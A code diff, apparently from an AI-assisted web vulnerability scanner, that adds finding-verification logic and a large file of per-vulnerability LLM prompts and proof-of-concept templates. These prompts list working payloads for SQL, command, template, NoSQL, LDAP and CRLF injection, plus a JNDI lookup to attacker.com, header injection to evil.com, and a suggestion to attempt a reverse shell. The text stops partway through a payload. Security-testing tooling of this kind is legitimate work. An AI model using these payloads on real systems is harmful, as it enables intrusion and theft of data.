self.scorer.THRESHOLD_LIKELY: + confidence.verdict = "likely" + else: + confidence.verdict = "rejected" + except Exception: + pass + + # Step 5: Build judgment + approved = confidence.verdict != "rejected" + + # Build evidence summary + evidence_summary = self._build_evidence_summary( + evidence, proof_result, control_result, confidence, ai_interp + ) + + # Build rejection reason if applicable + rejection_reason = "" + if not approved: + rejection_reason = self._build_rejection_reason( + vuln_type, param, proof_result, control_result, + confidence, ai_interp + ) + + return JudgmentResult( + approved=approved, + verdict=confidence.verdict, + confidence_score=confidence.score, + confidence_breakdown=confidence.breakdown, + proof_of_execution=proof_result, + negative_controls=control_result, + ai_interpretation=ai_interp, + evidence_summary=evidence_summary, + rejection_reason=rejection_reason, + ) + + async def _run_controls( + self, + url: str, + param: str, + method: str, + vuln_type: str, + attack_response: Dict, + make_request_fn: Callable, + baseline: Optional[Dict], + injection_point: str, + ) -> Optional[NegativeControlResult]: + """Run negative controls with error handling.""" + try: + return await self.controls.run_controls( + url, param, method, vuln_type, attack_response, + make_request_fn, baseline, injection_point + ) + except Exception as e: + logger.debug(f"Negative controls failed: {e}") + return None + + async def _get_ai_interpretation( + self, + vuln_type: str, + payload: str, + response: Dict, + ) -> Optional[str]: + """Get AI interpretation of the response (BEFORE verdict).""" + if not self.llm or not self.llm.is_available(): + return None + + try: + body = response.get("body", "")[:1000] + status = response.get("status", 0) + + # Inject access control learning hints for relevant vuln types + acl_hint = "" + if self.acl_learner: + hints = self.acl_learner.get_evaluation_hints(vuln_type, body, status) + if hints and hints.get("matching_patterns", 0) > 0: + fp_label = "LIKELY FALSE POSITIVE" if hints["likely_false_positive"] else "POSSIBLY REAL" + acl_hint = ( + f"\n\n**Learned Pattern Hints:** {fp_label} " + f"(pattern: {hints['pattern_type']}, " + f"FP signals: {hints['fp_signals']}, TP signals: {hints['tp_signals']})\n" + f"IMPORTANT: For access control vulns (BOLA/BFLA/IDOR), do NOT rely on " + f"HTTP status codes. Compare actual response DATA — check if different " + f"user's private data is returned vs. denial/empty/own-data patterns." + ) + + prompt = f"""Briefly analyze this HTTP response after testing for {vuln_type.upper()}. + +Payload sent: {payload[:200]} +Response status: {status} + +Response excerpt: +``` +{body} +``` +{acl_hint} + +Answer in 1-2 sentences: Was the payload processed/executed? Or was it ignored/filtered/blocked? Be specific about what happened.""" + + system = get_prompt_for_vuln_type(vuln_type, "interpretation") + result = await self.llm.generate(prompt, system) + return result.strip()[:300] if result else None + except Exception: + return None + + def _build_evidence_summary( + self, + raw_evidence: str, + proof: Optional[ProofResult], + controls: Optional[NegativeControlResult], + confidence: ConfidenceResult, + ai_interp: Optional[str], + ) -> str: + """Build hardened evidence string with all verification components.""" + parts = [] + + # Raw evidence + if raw_evidence: + parts.append(raw_evidence) + + # Proof of execution + if proof: + if proof.proven: + parts.append(f"[PROOF] {proof.proof_type}: {proof.detail}") + else: + parts.append(f"[NO PROOF] {proof.detail}") + + # Negative controls + if controls: + parts.append(f"[CONTROLS] {controls.detail}") + + # AI interpretation + if ai_interp: + parts.append(f"[AI] {ai_interp}") + + # Confidence score + parts.append(f"[CONFIDENCE] {confidence.score}/100 [{confidence.verdict}]") + + return " | ".join(parts) + + def _build_rejection_reason( + self, + vuln_type: str, + param: str, + proof: Optional[ProofResult], + controls: Optional[NegativeControlResult], + confidence: ConfidenceResult, + ai_interp: Optional[str], + ) -> str: + """Build clear rejection reason explaining why finding was rejected.""" + reasons = [] + + if proof and not proof.proven: + reasons.append("no proof of execution") + + if controls and controls.same_behavior: + reasons.append( + f"negative controls show same behavior " + f"({controls.controls_matching}/{controls.controls_run} controls match)" + ) + + if ai_interp: + ineffective_kws = ["ignored", "not processed", "blocked", "filtered", + "sanitized", "no effect"] + if any(kw in ai_interp.lower() for kw in ineffective_kws): + reasons.append(f"AI confirms payload was ineffective") + + reason_str = "; ".join(reasons) if reasons else "confidence too low" + + return (f"Rejected {vuln_type} in {param}: {reason_str} " + f"(score: {confidence.score}/100)") diff --git a/backend/core/vuln_engine/__init__.py b/backend/core/vuln_engine/__init__.py index a1d00d6..0ab3a42 100644 --- a/backend/core/vuln_engine/__init__.py +++ b/backend/core/vuln_engine/__init__.py @@ -1,5 +1,13 @@ -from backend.core.vuln_engine.engine import DynamicVulnerabilityEngine from backend.core.vuln_engine.registry import VulnerabilityRegistry from backend.core.vuln_engine.payload_generator import PayloadGenerator + +def __getattr__(name): + """Lazy import for DynamicVulnerabilityEngine (requires database models)""" + if name == "DynamicVulnerabilityEngine": + from backend.core.vuln_engine.engine import DynamicVulnerabilityEngine + return DynamicVulnerabilityEngine + raise AttributeError(f"module {__name__!r} has no attribute {name!r}") + + __all__ = ["DynamicVulnerabilityEngine", "VulnerabilityRegistry", "PayloadGenerator"] diff --git a/backend/core/vuln_engine/ai_prompts.py b/backend/core/vuln_engine/ai_prompts.py new file mode 100644 index 0000000..4ba5b9b --- /dev/null +++ b/backend/core/vuln_engine/ai_prompts.py @@ -0,0 +1,1626 @@ +""" +NeuroSploit v3 - Per-Vulnerability AI Decision Prompts + +100 vulnerability types, each with structured prompt templates for: +- Detection strategy, test methodology, payload selection +- Verification criteria, exploitation guidance, false positive indicators +- Technology-specific hints + +Inspired by Shannon's per-vuln prompt architecture. +""" + +import re +import random +import string +from typing import Dict, Optional + + +def _rand_id(length: int = 8) -> str: + return ''.join(random.choices(string.ascii_lowercase + string.digits, k=length)) + + +def _resolve(template: str, ctx: dict) -> str: + """Resolve {{VAR}} placeholders in a template string.""" + def _repl(m): + key = m.group(1) + if key == "RANDOM_ID": + return _rand_id() + return ctx.get(key, m.group(0)) + return re.sub(r"\{\{(\w+)\}\}", _repl, template) + + +def get_prompt(vuln_type: str, context: Optional[dict] = None) -> dict: + """Get the AI prompt for a vuln type with resolved variables.""" + prompt = VULN_AI_PROMPTS.get(vuln_type) + if not prompt: + return {} + if not context: + return dict(prompt) + resolved = {} + for k, v in prompt.items(): + if isinstance(v, str): + resolved[k] = _resolve(v, context) + elif isinstance(v, dict): + resolved[k] = {dk: _resolve(dv, context) if isinstance(dv, str) else dv for dk, dv in v.items()} + else: + resolved[k] = v + return resolved + + +def build_testing_prompt(vuln_type: str, target: str = "", endpoint: str = "", + param: str = "", technology: str = "") -> str: + """Build a full LLM testing prompt for a specific vuln type. + + Includes per-type methodology AND anti-hallucination proof requirements. + """ + ctx = {"TARGET_URL": target, "ENDPOINT": endpoint, "PARAMETER": param, "TECHNOLOGY": technology} + p = get_prompt(vuln_type, ctx) + if not p: + return f"Test the target for {vuln_type} vulnerabilities." + parts = [p.get("role", ""), "", "## Detection Strategy", p.get("detection_strategy", ""), + "", "## Test Methodology", p.get("test_methodology", ""), + "", "## Payload Selection", p.get("payload_selection", ""), + "", "## Verification Criteria", p.get("verification_criteria", ""), + "", "## False Positive Indicators", p.get("false_positive_indicators", "")] + tech = p.get("technology_hints", {}) + if technology and technology.lower() in tech: + parts += ["", "## Technology-Specific Guidance", tech[technology.lower()]] + + # Append proof requirements from system prompts + try: + from backend.core.vuln_engine.system_prompts import VULN_TYPE_PROOF_REQUIREMENTS + proof_req = VULN_TYPE_PROOF_REQUIREMENTS.get(vuln_type) + if proof_req: + parts += ["", "## Proof of Execution Requirements", proof_req] + except ImportError: + pass + + return "\n".join(parts) + + +def get_verification_prompt(vuln_type: str, evidence: str = "", response: str = "") -> str: + """Build a verification prompt to confirm/reject a finding. + + Includes anti-hallucination directives and per-type proof requirements. + """ + p = VULN_AI_PROMPTS.get(vuln_type, {}) + criteria = p.get("verification_criteria", "Check if the vulnerability is confirmed with concrete evidence.") + fp = p.get("false_positive_indicators", "No known false positive patterns.") + + # Get proof requirements from system prompts + proof_req = "" + try: + from backend.core.vuln_engine.system_prompts import VULN_TYPE_PROOF_REQUIREMENTS + proof_req = VULN_TYPE_PROOF_REQUIREMENTS.get(vuln_type, "") + except ImportError: + pass + + parts = [ + f"Verify this {vuln_type} finding.", + "", + "## Verification Criteria", + criteria, + "", + "## False Positive Indicators", + fp, + ] + + if proof_req: + parts += ["", "## Proof of Execution Requirements", proof_req] + + parts += [ + "", + "## Evidence Provided", + evidence[:2000], + "", + "## Response Sample", + response[:2000], + "", + "## ANTI-HALLUCINATION DIRECTIVE", + "- You MUST point to SPECIFIC strings/data in the evidence or response that prove exploitation.", + "- AI reasoning alone is NOT evidence. 'The payload was likely processed' is NOT proof.", + "- Status code differences (200 vs 403) are NOT sufficient proof for most vulnerability types.", + "- If you cannot find concrete proof in the actual response data, respond with REJECTED.", + "", + "Is this a TRUE POSITIVE or FALSE POSITIVE? Respond with CONFIRMED or REJECTED and explain why.", + "If CONFIRMED, quote the specific evidence from the response. If REJECTED, explain what proof is missing.", + ] + + return "\n".join(parts) + + +def get_poc_prompt(vuln_type: str, url: str = "", param: str = "", + payload: str = "", evidence: str = "", method: str = "GET") -> str: + """Build a prompt for generating a high-quality PoC script. + + The prompt enforces realistic, reproducible PoC code that actually tests + the vulnerability rather than generating theoretical code. + """ + template = POC_TEMPLATES.get(vuln_type, POC_TEMPLATES.get("default", "")) + + return f"""Generate a Python proof-of-concept script for this confirmed {vuln_type.upper()} vulnerability. + +## Target Details +- URL: {url} +- Parameter: {param} +- Method: {method} +- Payload: {payload[:500]} +- Evidence: {evidence[:500]} + +## PoC Requirements +{template} + +## CRITICAL RULES +1. The PoC MUST be a working Python script using the requests library. +2. It MUST reproduce the EXACT vulnerability — send the same payload to the same endpoint. +3. It MUST verify the vulnerability by checking the response for the same evidence markers. +4. It MUST include proper error handling and clear output explaining what was found. +5. Do NOT generate theoretical code — the PoC must work against the actual target. +6. Include a verify() function that returns True if the vulnerability is confirmed. +7. Print clear output: [VULNERABLE] or [NOT VULNERABLE] with supporting evidence. + +Return ONLY the Python code, no explanations.""" + + +# --------------------------------------------------------------------------- +# Per-Vuln-Type PoC Templates — guide PoC generation for each type +# --------------------------------------------------------------------------- + +POC_TEMPLATES: Dict[str, str] = { + "sqli_error": ( + "1. Send the exact SQL payload that triggered the error.\n" + "2. Check response for database error strings (SQL syntax, mysql_, pg_query).\n" + "3. Try extracting database version with UNION SELECT if error-based confirmed.\n" + "4. Print: exact error message found, database type detected." + ), + "sqli_union": ( + "1. Send ORDER BY payload to determine column count.\n" + "2. Send UNION SELECT with version() and user().\n" + "3. Parse and display extracted data.\n" + "4. Print: column count, database version, current user." + ), + "sqli_blind": ( + "1. Send TRUE condition (AND 1=1) and FALSE condition (AND 1=2).\n" + "2. Compare response lengths.\n" + "3. Extract first character of version using SUBSTRING.\n" + "4. Print: true/false response diff, first extracted character." + ), + "sqli_time": ( + "1. Send baseline request and measure time.\n" + "2. Send SLEEP(5) payload and measure time.\n" + "3. Repeat 3 times for consistency.\n" + "4. Print: baseline time, delayed times, average delay." + ), + "xss_reflected": ( + "1. Send the XSS payload to the vulnerable parameter.\n" + "2. Check if payload appears UNESCAPED in response body.\n" + "3. Analyze context (check if in script tag, attribute, HTML body).\n" + "4. Print: payload found at offset X, surrounding context, executable=yes/no." + ), + "xss_stored": ( + "1. Phase 1: Submit XSS payload via POST to storage endpoint.\n" + "2. Phase 2: GET the display page where stored content renders.\n" + "3. Search for unescaped payload in HTML source.\n" + "4. Print: submission response, display page URL, payload in source." + ), + "ssrf": ( + "1. Send internal URL (http://169.254.169.254/latest/meta-data/) as payload.\n" + "2. Check response for internal resource content (ami-id, instance-id, etc.).\n" + "3. Also send benign URL as negative control and compare responses.\n" + "4. Print: internal content found, negative control comparison." + ), + "lfi": ( + "1. Send path traversal payload (../../etc/passwd).\n" + "2. Check response for file content markers (root:x:0:0).\n" + "3. Try multiple traversal depths.\n" + "4. Print: file content found, specific markers matched." + ), + "command_injection": ( + "1. Send command injection payload (;id or |whoami).\n" + "2. Check response for command output (uid=, root, hostname).\n" + "3. Also try time-based: ;sleep 5 and measure response time.\n" + "4. Print: command output found, or timing measurement." + ), + "ssti": ( + "1. Send mathematical expression ({{7*7}}).\n" + "2. Check response for evaluated result (49).\n" + "3. Verify raw expression ({{7*7}}) is NOT in response.\n" + "4. Print: evaluated result found, template engine likely identified." + ), + "idor": ( + "1. Authenticate as User A.\n" + "2. Request User A's resource to get baseline response.\n" + "3. Request User B's resource using User A's session.\n" + "4. Compare: does step 3 return User B's ACTUAL data?\n" + "5. Print: your data vs target data comparison, fields leaked." + ), + "bola": ( + "1. Authenticate as User A, get User A's object.\n" + "2. With User A's token, request User B's object by changing ID.\n" + "3. COMPARE RESPONSE DATA (not just status code!).\n" + "4. Check if response contains User B's specific fields.\n" + "5. Print: data comparison, specific fields from other user found." + ), + "bfla": ( + "1. Authenticate as regular user.\n" + "2. Call admin endpoint with regular user token.\n" + "3. COMPARE RESPONSE DATA: does it return admin-level data?\n" + "4. Check for actual data vs empty/error response.\n" + "5. Print: regular user token, admin endpoint, data received." + ), + "open_redirect": ( + "1. Send URL with redirect payload pointing to external domain.\n" + "2. Check for 3xx status with Location header pointing to attacker domain.\n" + "3. Also check for meta-refresh or JS redirect in body.\n" + "4. Print: redirect status, Location header value." + ), + "csrf": ( + "1. Generate HTML form targeting the vulnerable endpoint.\n" + "2. Verify no CSRF token required.\n" + "3. Submit form and verify state change.\n" + "4. Print: HTML PoC form, response showing state change." + ), + "default": ( + "1. Send the exact payload that triggered the finding.\n" + "2. Check response for the specific evidence markers.\n" + "3. Send a negative control (benign input) and compare.\n" + "4. Print: evidence found, negative control comparison." + ), +} + + +# --------------------------------------------------------------------------- +# VULN_AI_PROMPTS - 100 vulnerability type prompt templates +# --------------------------------------------------------------------------- + +VULN_AI_PROMPTS: Dict[str, dict] = { + + # ===== INJECTION (1-18) ===== + + "sqli_error": { + "role": "You are an expert SQL injection specialist focusing on error-based detection.", + "detection_strategy": "Inject SQL syntax breakers (single quotes, double quotes, semicolons) into parameters and look for database error messages in responses. Target: {{ENDPOINT}}", + "test_methodology": "1. Send baseline request to {{ENDPOINT}} with clean parameter {{PARAMETER}}. 2. Inject ' and \" to break SQL syntax. 3. Look for error strings (MySQL, PostgreSQL, MSSQL, Oracle, SQLite). 4. Try UNION SELECT NULL to determine column count. 5. Extract database version.", + "payload_selection": "Start with: ' \" ; ') -- Then try: ' OR 1=1-- ' UNION SELECT NULL-- 1' AND (SELECT 1 FROM(SELECT COUNT(*),CONCAT(version(),0x3a,FLOOR(RAND(0)*2))x FROM information_schema.tables GROUP BY x)a)--", + "verification_criteria": "CONFIRMED only if: database error message appears in response (not in comments/JS), OR UNION-based extraction returns data, OR Boolean condition changes response. Raw SQL keywords alone are NOT sufficient.", + "exploitation_guidance": "Extract DB version, user, database name. Enumerate tables via information_schema. Extract sensitive data. Document exact query and extracted data as proof.", + "false_positive_indicators": "Generic 500 errors without DB-specific messages. Error messages in JavaScript comments or hidden fields that are always present. WAF block pages.", + "technology_hints": {"php": "Try ' OR '1'='1 and check for mysql_error output", "java": "Look for java.sql.SQLException in stack traces", "aspnet": "Check for System.Data.SqlClient errors"} + }, + + "sqli_union": { + "role": "You are a UNION-based SQL injection specialist.", + "detection_strategy": "Determine column count with ORDER BY or UNION SELECT NULL, then extract data through UNION queries.", + "test_methodology": "1. Find injectable param at {{ENDPOINT}}. 2. ORDER BY 1,2,3... to find column count. 3. UNION SELECT NULL,NULL... matching columns. 4. Replace NULLs with version(),user(),database(). 5. Extract table/column names from information_schema.", + "payload_selection": "ORDER BY 1-- ORDER BY 5-- ORDER BY 10-- Then: ' UNION SELECT NULL-- (increase NULLs). Then: ' UNION SELECT version(),NULL,NULL--", + "verification_criteria": "CONFIRMED only if: injected UNION query returns visible data in the response (version string, username, table names). Column count must match.", + "exploitation_guidance": "Extract: version(), user(), database(), then information_schema.tables, then target table data. Screenshot each extraction step.", + "false_positive_indicators": "UNION keyword appears but no data extraction. Response is identical to baseline. WAF blocks the query.", + "technology_hints": {"mysql": "Use information_schema.tables, GROUP_CONCAT()", "postgresql": "Use pg_tables, string_agg()", "mssql": "Use sysobjects, sp_tables"} + }, + + "sqli_blind": { + "role": "You are a Boolean-based blind SQL injection specialist.", + "detection_strategy": "Inject Boolean conditions and compare response differences to infer data bit by bit.", + "test_methodology": "1. Send ' AND 1=1-- vs ' AND 1=2-- to {{ENDPOINT}}. 2. Compare response length/content. 3. If different, inject SUBSTRING queries to extract data character by character. 4. Automate with binary search on ASCII values.", + "payload_selection": "' AND 1=1-- vs ' AND 1=2-- Then: ' AND (SELECT SUBSTRING(version(),1,1))='5'-- ' AND ASCII(SUBSTRING((SELECT user()),1,1))>64--", + "verification_criteria": "CONFIRMED if: TRUE condition (1=1) gives different response than FALSE condition (1=2), AND this difference is consistent across multiple tests.", + "exploitation_guidance": "Extract DB version character by character as proof. Document true vs false response differences clearly.", + "false_positive_indicators": "Random response variations unrelated to injection. Responses differ due to caching or dynamic content.", + "technology_hints": {"mysql": "Use IF() and SUBSTRING()", "postgresql": "Use CASE WHEN and SUBSTR()"} + }, + + "sqli_time": { + "role": "You are a time-based blind SQL injection specialist.", + "detection_strategy": "Inject time delay functions and measure response time to detect injection without visible output differences.", + "test_methodology": "1. Measure baseline response time for {{ENDPOINT}}. 2. Inject SLEEP/WAITFOR/pg_sleep with 5-second delay. 3. If response takes 5+ seconds, confirm with 10-second delay. 4. Use IF(condition, SLEEP(5), 0) for data extraction.", + "payload_selection": "' AND SLEEP(5)-- '; WAITFOR DELAY '0:0:5'-- ' AND pg_sleep(5)-- ' OR IF(1=1,SLEEP(5),0)--", + "verification_criteria": "CONFIRMED if: injected delay consistently adds expected time (within 1-second tolerance), AND baseline without delay is fast. Test at least 3 times to rule out network jitter.", + "exploitation_guidance": "Extract version with: IF(SUBSTRING(version(),1,1)='5',SLEEP(5),0). Document timing measurements as proof.", + "false_positive_indicators": "Server is generally slow. Network latency causes variable timing. Load balancer causes inconsistent response times.", + "technology_hints": {"mysql": "SLEEP(5), BENCHMARK(5000000,SHA1('test'))", "mssql": "WAITFOR DELAY '0:0:5'", "postgresql": "pg_sleep(5)"} + }, + + "command_injection": { + "role": "You are an OS command injection specialist.", + "detection_strategy": "Inject OS command separators and time-based payloads to detect command execution on {{ENDPOINT}}.", + "test_methodology": "1. Identify parameters that might pass to system commands. 2. Inject command separators: ; | ` $() 3. Use time-based detection: ;sleep 5; or |ping -c 5 127.0.0.1| 4. Try out-of-band detection with unique DNS lookups. 5. Confirm with command output extraction.", + "payload_selection": ";id; |id| `id` $(id) ;sleep 5; |ping -c 5 127.0.0.1| ;cat /etc/passwd; & whoami & ;echo {{RANDOM_ID}}; %0aid", + "verification_criteria": "CONFIRMED if: command output visible in response (uid=, root:, hostname output), OR consistent time delay with sleep/ping, OR unique marker from echo appears. Command separators alone are NOT sufficient.", + "exploitation_guidance": "Prove RCE: extract id, whoami, hostname, /etc/passwd (first 5 lines). Show working PoC command. Try reverse shell if authorized.", + "false_positive_indicators": "Error message mentioning command characters but no execution. Input sanitization removing special chars. Timeout due to server issues not injection.", + "technology_hints": {"php": "Check passthru(), system(), exec(), shell_exec(), backtick operator", "python": "Check os.system(), subprocess.call() with shell=True", "node": "Check child_process.exec()"} + }, + + "ssti": { + "role": "You are a Server-Side Template Injection specialist.", + "detection_strategy": "Inject template expressions ({{7*7}}, ${7*7}, #{7*7}) and check if the server evaluates them, returning computed results.", + "test_methodology": "1. Inject {{7*7}} into {{PARAMETER}} at {{ENDPOINT}}. 2. Check if response contains '49'. 3. Try ${7*7}, #{7*7}, <%=7*7%>, {7*7}. 4. Identify template engine from error messages. 5. Escalate to RCE payload for the specific engine.", + "payload_selection": "{{7*7}} {{7*'7'}} ${7*7} #{7*7} <%=7*7%> {{config}} {{self.__class__}} ${T(java.lang.Runtime).getRuntime().exec('id')}", + "verification_criteria": "CONFIRMED if: mathematical expression is evaluated (49 appears where 7*7 was injected), OR template objects/config are exposed. String '{{7*7}}' appearing literally is NOT a finding.", + "exploitation_guidance": "Identify engine (Jinja2, Twig, Freemarker, Velocity, Pug). Escalate to: Jinja2: {{config.__class__.__init__.__globals__['os'].popen('id').read()}}. Document engine and RCE proof.", + "false_positive_indicators": "Template syntax appears literally in output (not evaluated). Client-side template rendering (Angular/Vue). Static content containing template-like patterns.", + "technology_hints": {"python": "Jinja2/Mako: {{config}}, {{''.__class__}}", "php": "Twig: {{_self.env}}", "java": "Freemarker: ${7*7}, Velocity: #set($x=7*7)${x}"} + }, + + "nosql_injection": { + "role": "You are a NoSQL injection specialist targeting MongoDB, CouchDB, and similar databases.", + "detection_strategy": "Inject NoSQL operators ($gt, $ne, $regex) and JavaScript expressions to bypass authentication or extract data.", + "test_methodology": "1. Try JSON operator injection: {\"$gt\":\"\"} in login fields. 2. Try query parameter injection: param[$ne]=1. 3. Test JavaScript injection: ';return true;var a=' 4. Check for MongoDB error messages.", + "payload_selection": "{\"$gt\":\"\"} {\"$ne\":\"\"} {\"$regex\":\".*\"} [$ne]=1 [$gt]= {\"$where\":\"sleep(5000)\"} ';return true;var a='", + "verification_criteria": "CONFIRMED if: authentication bypassed with $ne/$gt operators, OR different results returned with NoSQL operators vs normal input, OR time delay with $where/sleep.", + "exploitation_guidance": "Demonstrate auth bypass or data extraction. Extract usernames with $regex binary search. Document exact NoSQL payload and resulting data.", + "false_positive_indicators": "Generic error without NoSQL indicators. Input treated as literal string. Parameter rejected by validation.", + "technology_hints": {"node": "Express + MongoDB: check for qs parsing of brackets param[$ne]", "python": "PyMongo: check for dict injection in find()"} + }, + + "ldap_injection": { + "role": "You are an LDAP injection specialist.", + "detection_strategy": "Inject LDAP filter metacharacters (*, ), (, |, &) to modify LDAP queries and bypass authentication or enumerate directory entries.", + "test_methodology": "1. Inject * into {{PARAMETER}} to match all entries. 2. Try )(cn=*))(|(cn=* to break filter. 3. Test )(|(password=*) to extract attributes. 4. Check for LDAP error messages in response.", + "payload_selection": "* *)(cn=*))(|(cn=* )(|(password=*) admin)(&) ))(objectClass=*))(|(objectClass= *)(uid=*))(|(uid=*", + "verification_criteria": "CONFIRMED if: wildcard returns all entries, OR filter manipulation changes results, OR LDAP error message appears with query details.", + "exploitation_guidance": "Enumerate users, extract attributes (email, phone, groups). Demonstrate auth bypass with injected filter.", + "false_positive_indicators": "Asterisk treated as literal search. Generic errors without LDAP context. No directory results returned.", + "technology_hints": {"java": "Check for DirContext.search() with string concat", "php": "Check for ldap_search() with unescaped input"} + }, + + "xpath_injection": { + "role": "You are an XPath injection specialist.", + "detection_strategy": "Inject XPath expressions to manipulate XML queries used for authentication or data retrieval.", + "test_methodology": "1. Inject ' or '1'='1 into {{PARAMETER}}. 2. Try '] | //user/* | //user[' to extract all nodes. 3. Check for XML/XPath error messages. 4. Test blind XPath with string-length() and substring().", + "payload_selection": "' or '1'='1 ' or ''=' '] | //user/* | //user[' ' and count(//user)>0 and '1'='1 ' or substring(//user[1]/password,1,1)='a", + "verification_criteria": "CONFIRMED if: Boolean injection changes results (1=1 vs 1=2), OR additional XML data is extracted, OR XPath error messages appear.", + "exploitation_guidance": "Extract node values with substring() blind extraction. Enumerate XML structure. Document data extracted as proof.", + "false_positive_indicators": "Single quote causes generic error. XML parsing error unrelated to injection. No data change between true/false conditions.", + "technology_hints": {"php": "Check for simplexml_load_string() + xpath()", "java": "Check for XPathExpression.evaluate()"} + }, + + "graphql_injection": { + "role": "You are a GraphQL security specialist.", + "detection_strategy": "Test for introspection exposure, injection in variables/arguments, batching attacks, and authorization bypass via nested queries.", + "test_methodology": "1. Send introspection query to discover schema. 2. Test for injection in string arguments. 3. Try batching queries for rate limit bypass. 4. Test deeply nested queries for DoS. 5. Check for authorization bypass by accessing other users' data.", + "payload_selection": "{__schema{types{name,fields{name,type{name}}}}} {__type(name:\"User\"){fields{name}}} Batch: [{query:\"...\",variables:{}},{query:\"...\",variables:{}}]", + "verification_criteria": "CONFIRMED if: introspection returns full schema, OR unauthorized data accessed via query manipulation, OR injection in arguments modifies query behavior.", + "exploitation_guidance": "Map full schema via introspection. Access unauthorized data. Demonstrate IDOR through ID manipulation in queries. Document schema and extracted data.", + "false_positive_indicators": "Introspection intentionally enabled in dev mode. Authorization properly enforced on all resolvers. Input properly parameterized.", + "technology_hints": {"node": "Check Apollo Server introspection settings", "python": "Check Graphene/Ariadne authorization decorators"} + }, + + "crlf_injection": { + "role": "You are a CRLF injection and HTTP response splitting specialist.", + "detection_strategy": "Inject \\r\\n (CRLF) sequences into parameters reflected in HTTP headers to inject arbitrary headers or split responses.", + "test_methodology": "1. URL-encode CRLF: %0d%0a into {{PARAMETER}}. 2. Try injecting a custom header: %0d%0aX-Injected:{{RANDOM_ID}}. 3. Check if new header appears in response. 4. Try Set-Cookie injection for session fixation. 5. Try full response splitting with double CRLF.", + "payload_selection": "%0d%0aX-Test:{{RANDOM_ID}} %0d%0aSet-Cookie:evil=1 %0d%0a%0d%0ainjected %0d%0aLocation:http://evil.com \\r\\nX-Test:1", + "verification_criteria": "CONFIRMED if: injected header appears in HTTP response headers (visible in raw response), OR response is split with injected body content.", + "exploitation_guidance": "Demonstrate header injection (custom header in response), session fixation (Set-Cookie), or XSS via response splitting. Document raw HTTP response.", + "false_positive_indicators": "CRLF characters stripped or encoded in output. Header appears in body not headers. URL-encoded characters shown literally.", + "technology_hints": {"php": "Check header() with user input", "java": "Check HttpServletResponse.setHeader()/addHeader()", "node": "Check res.setHeader() with user input"} + }, + + "header_injection": { + "role": "You are an HTTP header injection specialist.", + "detection_strategy": "Inject content into HTTP request/response headers via user-controlled parameters that are reflected in headers like Location, Set-Cookie, or custom headers.", + "test_methodology": "1. Identify parameters reflected in response headers. 2. Inject header values with CRLF. 3. Test Host header injection for password reset poisoning. 4. Test X-Forwarded-For/Host manipulation.", + "payload_selection": "Host: evil.com X-Forwarded-Host: evil.com X-Forwarded-For: 127.0.0.1 %0d%0aInjected-Header:test", + "verification_criteria": "CONFIRMED if: injected value appears in response headers, OR Host header manipulation changes behavior (password reset URL, redirect target).", + "exploitation_guidance": "Demonstrate password reset poisoning, cache poisoning via Host header, or access control bypass via X-Forwarded-For.", + "false_positive_indicators": "Host header has no effect on application behavior. Headers are properly validated. CRLF sequences stripped.", + "technology_hints": {"php": "Check $_SERVER['HTTP_HOST'] usage in URLs", "python": "Check request.host usage in Django/Flask"} + }, + + "email_injection": { + "role": "You are an email header injection specialist.", + "detection_strategy": "Inject email headers (CC, BCC, Subject) via form fields that feed into email sending functions to send spam or exfiltrate data.", + "test_methodology": "1. Find contact/feedback forms at {{ENDPOINT}}. 2. Inject \\r\\nCC:attacker@evil.com in email field. 3. Try BCC injection. 4. Try Subject injection to change email subject.", + "payload_selection": "test@test.com%0d%0aCc:attacker@evil.com test@test.com\\r\\nBcc:spy@evil.com test@test.com%0aSubject:Hacked", + "verification_criteria": "CONFIRMED if: email is sent to injected CC/BCC address (verified via external mailbox), OR email subject/body is modified by injection.", + "exploitation_guidance": "Demonstrate email sent to attacker-controlled address. Document injected headers and received email as proof.", + "false_positive_indicators": "Email function validates/strips CRLF. Only single email address accepted. No email actually sent.", + "technology_hints": {"php": "Check mail() function with unvalidated headers", "python": "Check smtplib usage with user input in headers"} + }, + + "expression_language_injection": { + "role": "You are an Expression Language (EL) injection specialist targeting Java EE and Spring applications.", + "detection_strategy": "Inject EL expressions ${...} or #{...} to evaluate code on the server, similar to SSTI but specific to Java EL.", + "test_methodology": "1. Inject ${7*7} into {{PARAMETER}}. 2. Check for '49' in response. 3. Try ${applicationScope} for context info. 4. Escalate to RCE: ${Runtime.getRuntime().exec('id')}.", + "payload_selection": "${7*7} #{7*7} ${applicationScope} ${T(java.lang.Runtime).getRuntime().exec('id')} ${pageContext.request.serverName}", + "verification_criteria": "CONFIRMED if: EL expression evaluated (49 in output), OR server-side objects exposed, OR command executed.", + "exploitation_guidance": "Extract server info, then escalate to RCE. Document evaluated expression and output.", + "false_positive_indicators": "${...} appears literally. Client-side template processing. Spring EL disabled in views.", + "technology_hints": {"java": "Check JSP EL, Spring SpEL, OGNL in Struts2"} + }, + + "log_injection": { + "role": "You are a log injection/forging specialist.", + "detection_strategy": "Inject newlines and fake log entries into parameters that are written to application logs, enabling log tampering or log-based attacks.", + "test_methodology": "1. Inject \\n followed by fake log entry into {{PARAMETER}}. 2. Try injecting ANSI escape codes. 3. Test for log4j-style JNDI lookups: ${jndi:ldap://attacker.com/a}. 4. Check if injected content appears in accessible log files.", + "payload_selection": "test%0aINFO:Admin_logged_in ${jndi:ldap://{{RANDOM_ID}}.attacker.com/a} test%0a%0a{{RANDOM_ID}} \\x1b[31mRED_TEXT", + "verification_criteria": "CONFIRMED if: injected content appears as separate log line (visible in logs or log viewer), OR JNDI lookup triggers DNS callback, OR ANSI codes interpreted.", + "exploitation_guidance": "Demonstrate log forging (fake admin login entry) or Log4Shell-style RCE via JNDI. Document injected content and log output.", + "false_positive_indicators": "Newlines stripped before logging. JNDI lookups disabled/patched. Logs not accessible for verification.", + "technology_hints": {"java": "Check Log4j/Logback with user input, JNDI lookup", "python": "Check logging module with user input format strings"} + }, + + "html_injection": { + "role": "You are an HTML injection specialist.", + "detection_strategy": "Inject HTML tags into parameters reflected in page output to modify page content, inject phishing forms, or deface content.", + "test_methodology": "1. Inject {{RANDOM_ID}} into {{PARAMETER}}. 2. Check if bold text renders. 3. Try
for phishing. 4. Inject to test tag injection. 5. Differentiate from XSS (no script execution needed).", + "payload_selection": "

INJECTED

